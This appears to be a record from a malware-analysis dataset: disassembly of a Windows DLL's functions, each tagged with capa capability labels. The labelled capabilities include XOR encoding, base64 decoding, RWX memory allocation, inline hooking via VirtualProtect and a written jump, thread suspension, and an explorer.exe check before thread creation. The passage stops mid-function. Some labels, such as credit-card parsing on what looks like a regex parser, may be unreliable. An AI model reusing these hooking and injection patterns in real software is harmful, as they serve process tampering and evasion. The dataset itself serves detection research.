joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180064f20
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180064f50
xor eax, eax
jmp 0x180065013
mov rbp, rbx
cmp word [rax], si
je 0x180064f75
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180064f5c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180064f58
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180063788
movsxd r14, eax
test eax, eax
jne 0x180064fb3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180064f49
mov rcx, r14
call fcn.18005f984
mov rdi, rax
test rax, rax
jne 0x180064fcc
xor ecx, ecx
call fcn.18005f7f8
jmp 0x180064fa8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180063788
test eax, eax
jne 0x180064ffd
mov rcx, rdi
call fcn.18005f7f8
jmp 0x180065007
xor ecx, ecx
call fcn.18005f7f8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800677cc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.18005dc18
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18006786d
cmp ebx, dword [rsp + 0x30]
je 0x180067866
test esi, esi
je 0x180067866
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x180067841
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18006784e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18006782b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x180067852
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18006786f
mov eax, 1
jmp 0x18006786f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18006cef0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18006cf18
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18006cf18
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1800045fc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x50
mov qword [rax - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, r8
mov rbp, rcx
xor esi, esi
mov dword [rsp + 0x20], esi
lea rcx, [rax - 0x28]
call fcn.1800048f4
nop
lea rcx, [rsp + 0x30]
call fcn.180013604
mov rdx, rax
xor r8d, r8d
mov rcx, rbp
call fcn.180004588
lea rcx, [rsp + 0x30]
call fcn.180013604
test rax, rax
je 0x1800046ab
mov rcx, r14
call fcn.180013604
mov rcx, rax
xor edx, edx
mov rax, rsi
div rcx
mov rcx, r14
call fcn.1800045e4
mov rdi, rax
mov rdx, rsi
mov rcx, rbp
call fcn.1800045e4
mov rbx, rax
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.1800045e4
mov cl, byte [rax]
xor cl, byte [rdi]
mov byte [rbx], cl
inc rsi
lea rcx, [rsp + 0x30]
call fcn.180013604
cmp rsi, rax
jb 0x18000465a
lea rcx, [rsp + 0x30]
call fcn.1800011bc
mov rax, rbp
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret

Function at 0x1800046d4
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x50
mov qword [rax - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, r8
mov rbp, rdx
mov rsi, rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov rcx, rdx
call fcn.180013604
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x30]
call fcn.180004588
nop
mov rcx, rbp
call fcn.180013604
test rax, rax
je 0x180004773
mov rcx, r14
call fcn.180013604
mov rcx, rax
xor edx, edx
mov rax, rdi
div rcx
mov rcx, r14
call fcn.1800045e4
mov bl, byte [rax]
mov rdx, rdi
mov rcx, rbp
call fcn.1800045e4
xor bl, byte [rax]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1800045e4
mov byte [rax], bl
inc rdi
mov rcx, rbp
call fcn.180013604
cmp rdi, rax
jb 0x18000472a
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.180004ad8
nop
lea rcx, [rsp + 0x30]
call fcn.1800011bc
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x18000493c
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rbx, qword [r8]
and dword [rsp + 0x20], 0
mov rdi, rdx
mov rsi, rcx
test rbx, rbx
jne 0x18000497d
lea rdx, [0x1800304ee]
call fcn.1800010e8
jmp 0x180004ab3
xor ebp, ebp
mov rax, rbx
lea r12d, [rbp + 1]
and eax, 3
jne 0x180004997
cmp byte [rbx + rdx - 1], 0x3d
je 0x180004997
xor r14d, r14d
jmp 0x1800049a7
mov r14, r12
cmp rax, 2
ja 0x1800049ac
cmp byte [rbx + rdx - 2], 0x3d
jne 0x1800049ac
xor r15d, r15d
jmp 0x1800049af
mov r15, r12
sub rbx, r14
lea rcx, [rsp + 0x28]
xor r8d, r8d
and rbx, 0xfffffffffffffffc
mov rdx, rbx
shr rdx, 2
lea rax, [r15 + rdx*2]
add rdx, rax
add rdx, r14
call fcn.180004588
lea rcx, [rsp + 0x28]
xor edx, edx
call fcn.1800045e4
lea r11, [0x180031620]
mov r9, rax
test rbx, rbx
je 0x180004a52
lea r8, [rbx - 1]
lea r10, [rdi + 1]
shr r8, 2
add r8, r12
movzx eax, byte [r10]
movzx ecx, byte [r10 - 1]
lea r10, [r10 + 4]
mov edx, dword [r11 + rcx*4]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 3]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 2]
shl edx, 6
or edx, dword [r11 + rax*4]
mov eax, edx
sar eax, 0x10
mov byte [r9 + rbp], al
add rbp, r12
mov eax, edx
sar eax, 8
mov byte [r9 + rbp], al
add rbp, r12
mov byte [r9 + rbp], dl
add rbp, r12
sub r8, r12
jne 0x1800049fe
test r14, r14
je 0x180004a9c
movzx eax, byte [rbx + rdi]
movzx edx, byte [rbx + rdi + 1]
mov ecx, dword [r11 + rax*4]
mov r8d, dword [r11 + rdx*4]
shl ecx, 6
or r8d, ecx
shl r8d, 0xc
mov eax, r8d
sar eax, 0x10
mov byte [r9 + rbp], al
test r15, r15
je 0x180004a9c
movzx eax, byte [rbx + rdi + 2]
sar r8d, 8
mov ecx, dword [r11 + rax*4]
shl ecx, 6
sar ecx, 8
or cl, r8b
mov byte [r9 + rbp + 1], cl
lea rdx, [rsp + 0x28]
mov rcx, rsi
call fcn.180004530
lea rcx, [rsp + 0x28]
call fcn.1800011bc
lea r11, [rsp + 0x50]
mov rax, rsi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x1800053f4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov rdi, rcx
lea rcx, [rax - 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rsi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
cmp rdi, 0x40000000
jbe 0x18000543b
lea rax, [rdi - 0x40000000]
cmp rsi, rax
cmovb rsi, rax
mov rbx, qword [0x180049ac0]
lea rax, [rdi + 0x40000000]
cmp rbp, rax
cmova rbp, rax
sub rbp, 0xfff
test rbx, rbx
je 0x180005476
cmp rbx, rsi
jb 0x180005471
cmp rbx, rbp
jae 0x180005471
cmp qword [rbx + 8], 0
jne 0x180005543
mov rbx, qword [rbx]
jmp 0x180005457
mov r14, rdi
cmp rdi, rsi
jb 0x1800054bd
mov r8d, dword [rsp + 0x48]
mov rdx, rsi
mov rcx, r14
call fcn.180005318
mov r14, rax
test rax, rax
je 0x1800054bd
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180005503
cmp r14, rsi
jae 0x18000547e
test rbx, rbx
jmp 0x1800054fa
mov r8d, dword [rsp + 0x48]
mov rdx, rbp
mov rcx, rdi
call fcn.18000528c
mov rdi, rax
test rax, rax
je 0x180005543
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180005503
cmp rdi, rbp
jbe 0x1800054c2
jmp 0x180005543
and qword [rbx + 8], 0
and dword [rbx + 0x10], 0
lea rcx, [rbx + 0x40]
mov rdx, rcx
sub rdx, rbx
mov rax, qword [rbx + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rbx + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x180005516
mov rax, qword [0x180049ac0]
mov qword [rbx], rax
mov qword [0x180049ac0], rbx
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop r14
ret
Function at 0x180005e20
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov ebx, ecx
mov esi, edx
mov ebp, 5
imul rbx, rbx, 0x38
add rbx, qword [0x180049ab0]
test byte [rbx + 0x20], 1
mov rdi, qword [rbx]
je 0x180005e59
sub rdi, rbp
mov ebp, 7
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180005e7e
mov eax, 0xa
jmp 0x180005f0a
test esi, esi
je 0x180005ea0
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180005ec1
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180005ec1
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180005ebb
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180005ec1
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [rbx + 0x20], 0xfd
and sil, 1
mov al, sil
shl sil, 2
add al, al
or al, byte [rbx + 0x20]
and al, 0xfb
or al, sil
mov byte [rbx + 0x20], al
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x180005f60
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180006054
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
jmp 0x180006043
cmp dword [rsp + 0x20], 0x10
jb 0x18000602e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x18000602e
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x18000602e
mov r8, qword [rbx]
test r8, r8
jne 0x180005fef
mov dword [rbx + 8], 0x80
mov rcx, qword [0x180041a10]
xor edx, edx
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x18000604b
jmp 0x18000601e
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x18000601e
mov rcx, qword [0x180041a10]
lea r9d, [rax + rax]
xor edx, edx
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x18000604b
mov ecx, dword [rbx + 8]
mov qword [rbx], rax
add ecx, ecx
mov dword [rbx + 8], ecx
mov edx, dword [rbx + 0xc]
mov rcx, qword [rbx]
mov eax, dword [rsp + 0x28]
mov dword [rcx + rdx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x20], 0x1c
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180005f9e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180006118
Capabilities:
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
and qword [rcx], 0
and dword [rcx + 8], 0
and dword [rcx + 0xc], 0
mov ebp, r8d
mov r14d, edx
mov rbx, rcx
call fcn.180005f60
cmp qword [rbx], 0
je 0x180006199
xor edi, edi
cmp dword [rbx + 0xc], edi
jbe 0x180006199
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180006192
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rsi
call fcn.180006494
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x180006158
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x180006594
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x1800065f8
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x1800065e6
mov rax, qword [rbx]
xor edx, edx
mov r8d, dword [rax + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800065df
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x1800065b3
mov r8, qword [rbx]
mov rcx, qword [0x180041a10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180006f28
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
je 0x180006f7f
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov esi, edx
mov rdi, rcx
xor ebx, ebx
mov rcx, rbp
call qword [0x180040828]
xor edx, edx
mov r8d, eax
mov eax, ebx
inc ebx
div r8d
mov al, byte [rdx + rbp]
xor byte [rdi], al
inc rdi
cmp ebx, esi
jb 0x180006f4a
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180007438
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rdi, rdx
mov ebx, ecx
test ecx, ecx
je 0x180007531
jle 0x18000755c
cmp ecx, 2
jle 0x1800074f6
cmp ecx, 3
jne 0x18000755c
mov ebx, 0x103
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, ebx
mov byte [rsp + 0x20], 0
call fcn.1800070d8
lea rcx, [rbp + 0x31]
mov r8d, ebx
xor edx, edx
mov byte [rbp + 0x30], 0
call fcn.1800070d8
lea rdx, [rsp + 0x20]
mov r9d, 1
xor r8d, r8d
mov rcx, rdi
call fcn.1800071f0
test eax, eax
je 0x18000755c
lea rcx, [rbp + 0x30]
call fcn.180006e8c
lea rcx, [rbp + 0x30]
call qword [0x180040af8]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x20]
xor r8d, r8d
call qword [0x180040850]
lea rcx, [rbp + 0x30]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x18000755c
mov dl, 0x3a
mov rcx, rdi
call qword [0x180040998]
test rax, rax
je 0x18000755c
xor edx, edx
lea rcx, [rax + 1]
mov byte [rax], 0
lea r8d, [rdx + 0xa]
call qword [0x1800408a8]
mov rcx, rdi
mov edx, eax
cmp ebx, 2
jne 0x18000752a
call fcn.18001be18
jmp 0x18000755c
call fcn.18001af8c
jmp 0x18000755c
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call fcn.1800070d8
xor r9d, r9d
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 1]
mov rcx, rdi
call fcn.1800071f0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x18000d6cc
Capabilities:
Enumerate process modules

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x198]
sub rsp, 0x290
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, edx
mov rbx, rcx
and dword [rsp + 0x38], 0
lea rcx, [rsp + 0x20]
call fcn.18000bf00
nop
lea eax, [rdi + 1]
test eax, 0xfffffffe
jne 0x18000d716
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov edx, edi
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000d762
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
jmp 0x18000d75e
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.180013818
lea rdx, [rsp + 0x50]
mov rcx, rdi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x18000d742
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.18000bf28
nop
lea rcx, [rsp + 0x20]
call fcn.18000c5ac
mov rax, rbx
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x18000e38c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov edi, r8d
mov rsi, rdx
call fcn.180004cb4
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000e3dd
xor eax, eax
jmp 0x18000e435
and dword [rsp + 0x68], 0
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x18000e406
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000e3d9
mov rcx, rsi
call fcn.180004cb4
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov rdx, rax
mov r8d, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x18000eaf0
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x18000ec9a
cmp ecx, 0x7c
je 0x18000ec9a
cmp ecx, 0x29
jne 0x18000eb35
cmp dword [rdi + 0x1c], 0
jne 0x18000ec9a
test dword [rdi + 0x80], 0x10000000
je 0x18000eca5
cmp ecx, 0x2e
jne 0x18000eb50
lea rcx, [rdi + 0x40]
call fcn.18000e67c
mov rcx, rdi
call fcn.180011964
jmp 0x18000ec86
cmp ecx, 0x5c
jne 0x18000ebb3
mov rcx, rdi
call fcn.180011964
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x18000eb86
cmp byte [rdi + 0x78], 0x62
jne 0x18000eb86
lea rcx, [rdi + 0x40]
call fcn.18000eae4
mov rcx, rdi
call fcn.180011964
jmp 0x18000ec8e
test eax, eax
je 0x18000eba6
cmp byte [rdi + 0x78], 0x42
jne 0x18000eba6
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000eae4
mov rcx, rbx
call fcn.18001190c
jmp 0x18000eb79
mov rcx, rdi
call fcn.18000ed50
jmp 0x18000ec86
cmp ecx, 0x5b
jne 0x18000ebde
mov rcx, rdi
call fcn.180011964
mov rcx, rdi
call fcn.18000f308
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.18001054c
jmp 0x18000ec86
cmp ecx, 0x28
jne 0x18000ec08
mov rcx, rdi
call fcn.180011964
mov rcx, rdi
call fcn.1800127b0
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.18001054c
jmp 0x18000ec82
cmp ecx, 0x5e
jne 0x18000ec1b
lea rcx, [rdi + 0x40]
call fcn.18000e488
jmp 0x18000eb79
cmp ecx, 0x24
jne 0x18000ec2e
lea rcx, [rdi + 0x40]
call fcn.18000e708
jmp 0x18000eb79
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18000eccf
cmp ecx, 0x3f
je 0x18000eccf
cmp ecx, 0x7b
je 0x18000eccf
cmp ecx, 0x7d
jne 0x18000ec5d
test dword [rdi + 0x80], 0x10000000
je 0x18000ecb3
cmp ecx, 0x5d
jne 0x18000ec6e
test dword [rdi + 0x80], 0x10000000
je 0x18000ecc1
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e494
mov rcx, rdi
call fcn.180011964
test bl, bl
je 0x18000ec8e
mov rcx, rdi
call fcn.180011a0c
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x18000eb04
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180010508
int3
mov edx, 6
mov rcx, rdi
call fcn.180010508
int3
mov edx, 4
mov rcx, rdi
call fcn.180010508
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180010508
int3
Function at 0x1800165f8
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x1800167a2
cmp ecx, 0x7c
je 0x1800167a2
cmp ecx, 0x29
jne 0x18001663d
cmp dword [rdi + 0x1c], 0
jne 0x1800167a2
test dword [rdi + 0x80], 0x10000000
je 0x1800167ad
cmp ecx, 0x2e
jne 0x180016658
lea rcx, [rdi + 0x40]
call fcn.18000e67c
mov rcx, rdi
call fcn.180018380
jmp 0x18001678e
cmp ecx, 0x5c
jne 0x1800166bb
mov rcx, rdi
call fcn.180018380
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x18001668e
cmp byte [rdi + 0x78], 0x62
jne 0x18001668e
lea rcx, [rdi + 0x40]
call fcn.18000eae4
mov rcx, rdi
call fcn.180018380
jmp 0x180016796
test eax, eax
je 0x1800166ae
cmp byte [rdi + 0x78], 0x42
jne 0x1800166ae
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000eae4
mov rcx, rbx
call fcn.18001190c
jmp 0x180016681
mov rcx, rdi
call fcn.1800167e8
jmp 0x18001678e
cmp ecx, 0x5b
jne 0x1800166e6
mov rcx, rdi
call fcn.180018380
mov rcx, rdi
call fcn.180016ac0
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.180017a7c
jmp 0x18001678e
cmp ecx, 0x28
jne 0x180016710
mov rcx, rdi
call fcn.180018380
mov rcx, rdi
call fcn.180018b20
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.180017a7c
jmp 0x18001678a
cmp ecx, 0x5e
jne 0x180016723
lea rcx, [rdi + 0x40]
call fcn.18000e488
jmp 0x180016681
cmp ecx, 0x24
jne 0x180016736
lea rcx, [rdi + 0x40]
call fcn.18000e708
jmp 0x180016681
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x1800167d7
cmp ecx, 0x3f
je 0x1800167d7
cmp ecx, 0x7b
je 0x1800167d7
cmp ecx, 0x7d
jne 0x180016765
test dword [rdi + 0x80], 0x10000000
je 0x1800167bb
cmp ecx, 0x5d
jne 0x180016776
test dword [rdi + 0x80], 0x10000000
je 0x1800167c9
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e494
mov rcx, rdi
call fcn.180018380
test bl, bl
je 0x180016796
mov rcx, rdi
call fcn.1800183ec
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x18001660c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.180010508
int3
mov edx, 6
mov rcx, rdi
call fcn.180010508
int3
mov edx, 4
mov rcx, rdi
call fcn.180010508
int3
mov edx, 0xa
mov rcx, rdi
call fcn.180010508
int3
Function at 0x18001b0a8
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x140
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.1800070d8
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [0x180040808]
lea rcx, [rsp + 0x30]
call qword [0x180040810]
lea rdx, str.explorer.exe
mov rcx, rax
mov rbx, rax
call qword [0x180040888]
test eax, eax
jne 0x18001b12a
call fcn.180006974
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x1800304ee]
lea r8, [0x180015d54]
xor edx, edx
xor ecx, ecx
